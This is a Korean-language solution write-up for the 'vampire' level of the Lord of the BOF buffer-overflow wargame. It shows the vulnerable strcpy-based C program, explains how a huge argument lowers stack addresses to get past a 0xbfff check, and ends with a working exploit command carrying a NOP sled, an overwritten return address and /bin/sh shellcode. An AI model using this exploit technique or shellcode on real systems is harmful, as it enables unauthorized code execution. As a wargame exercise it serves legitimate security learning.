/*
The Lord of the BOF : The Fellowship of the BOF
- vampire
- check 0xbf ff
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// here is changed!
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
코드가 많이 바뀌었다. argv[1][46] 이 \xff 되면 안되는데.. [그림 1-1] 처럼 문제 분석하기 전에 그려놓는 버릇이 있어서 이 문제가 어려웠다.. 낮은 주소로 점프하면 되지않을까.. 까지 생각했는데..휴
스택 구조 생각하면 쉽다! 스택은 높은 주소부터 낮은 주소로 쌓이는데 main함수 진입전 main 함수 인자값들이 스택에 먼저 쌓인다. 그 중 우리가 입력가능한 argv[1]에 값을 엄~~~~~~청 크게하면 스택은 엄~~~~청 위로 쌓이게 되어 \xbffff 주소부터 낮게 잡힌다. 이걸 힌트로 풀어보자!
main 함수 진입 전 break를 걸고 argv[1] 값으로 A 10만개를 넣어봤다.
esp를 통해 스택을 보면 argv[1] 값이 엄청 많아서 스택 주소가 엄청 낮아졌다!
[그림 1-3] 느낌이다.
결국 argv[1][46] 검사한다는 거는 return 될 주소가 \xbfff 안에 있는지 확인하는 건데 argv[1] 때문에 주소가 낮아져 if문에 걸리지 않는다. ([그림 1-2] 를 보면 \xbffe로 변함!)
따라서 payload = nop * 44 + argv[0] + nop *100000 + shellcode 이다.
argv[0] 주소는 [그림 1-2] 를 참고하면 알 수 있다. -> 0x bf fe 75 d5
./vampire `python -c 'print("\x90"*44+"\xd5\x75\xfe\xbf"+"\x90"*100000+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'`
성공!
스택을 그려놔서 쌓인다는 생각을 하지 못했다.. ㄲㅂ